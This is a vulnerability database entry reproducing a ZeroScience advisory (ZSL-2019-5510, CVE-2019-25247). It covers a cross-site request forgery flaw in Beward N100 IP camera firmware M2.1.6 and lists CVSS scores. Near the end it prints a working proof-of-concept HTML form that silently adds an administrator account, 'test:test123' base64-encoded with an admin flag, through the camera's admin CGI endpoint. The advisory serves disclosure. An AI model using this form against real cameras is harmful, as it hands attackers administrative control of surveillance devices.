BEWARD N100 H.264 VGA IP Camera M2.1.6 CSRF Add Admin Exploit

🗓️ 04 Feb 2019 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 89 Views

The N100 compact color IP camera allows CSRF Add Admin exploit via HTTP requests, impacting remote/local users

Reporter	Title	Published	Views	Family All 7
CNNVD	Beward N100 安全漏洞	24 Dec 202500:00	–	cnnvd
CVE	CVE-2019-25247	24 Dec 202519:28	–	cve
Cvelist	CVE-2019-25247 Beward N100 H.264 VGA IP Camera M2.1.6 CSRF Add Admin Vulnerability	24 Dec 202519:28	–	cvelist
EUVD	EUVD-2025-205310	24 Dec 202521:30	–	euvd
NVD	CVE-2019-25247	24 Dec 202520:15	–	nvd
Positive Technologies	PT-2025-53333	24 Dec 202500:00	–	ptsecurity
Vulnrichment	CVE-2019-25247 Beward N100 H.264 VGA IP Camera M2.1.6 CSRF Add Admin Vulnerability	24 Dec 202519:28	–	vulnrichment

<html><body><p>BEWARD N100 H.264 VGA IP Camera M2.1.6 CSRF Add Admin Exploit


Vendor: Beward R&amp;D Co., Ltd
Product web page: https://www.beward.net
Affected version: M2.1.6.04C014

Summary: The N100 compact color IP camera with support for a more efficient
compression format is optimized for low-speed networks, thanks to which it
transmits a real-time image over the network with minimal delays. The camera
supports the switching of the broadcast modes, and in the event of a break in
communication with the remote file storage, it can continue recording to the
microSDHC memory card. N100 is easy to install and configure, has all the
necessary arsenal for the organization of low-cost professional video surveillance
systems.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certai actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: Boa/0.94.14rc21
           Farady ARM Linux 2.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5510
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5510.php


26.01.2019

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  </p>
<form action="http://TARGET/cgi-bin/admin/param">
<input name="action" type="hidden" value="add"/>
<input name="group" type="hidden" value="General.UserID"/>
<input name="template" type="hidden" value="UserID"/>
<input name="General.UserID.U.User" type="hidden" value="dGVzdDp0ZXN0MTIz,01000001"/>
<input type="submit" value="Send"/>
</form>
  


Base64(test:test123) + ,01000001 for A (Admin) = dGVzdDp0ZXN0MTIz,01000001
</body></html>

04 Feb 2019 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 45.1

CVSS 3.15.3

EPSS0.00016

SSVC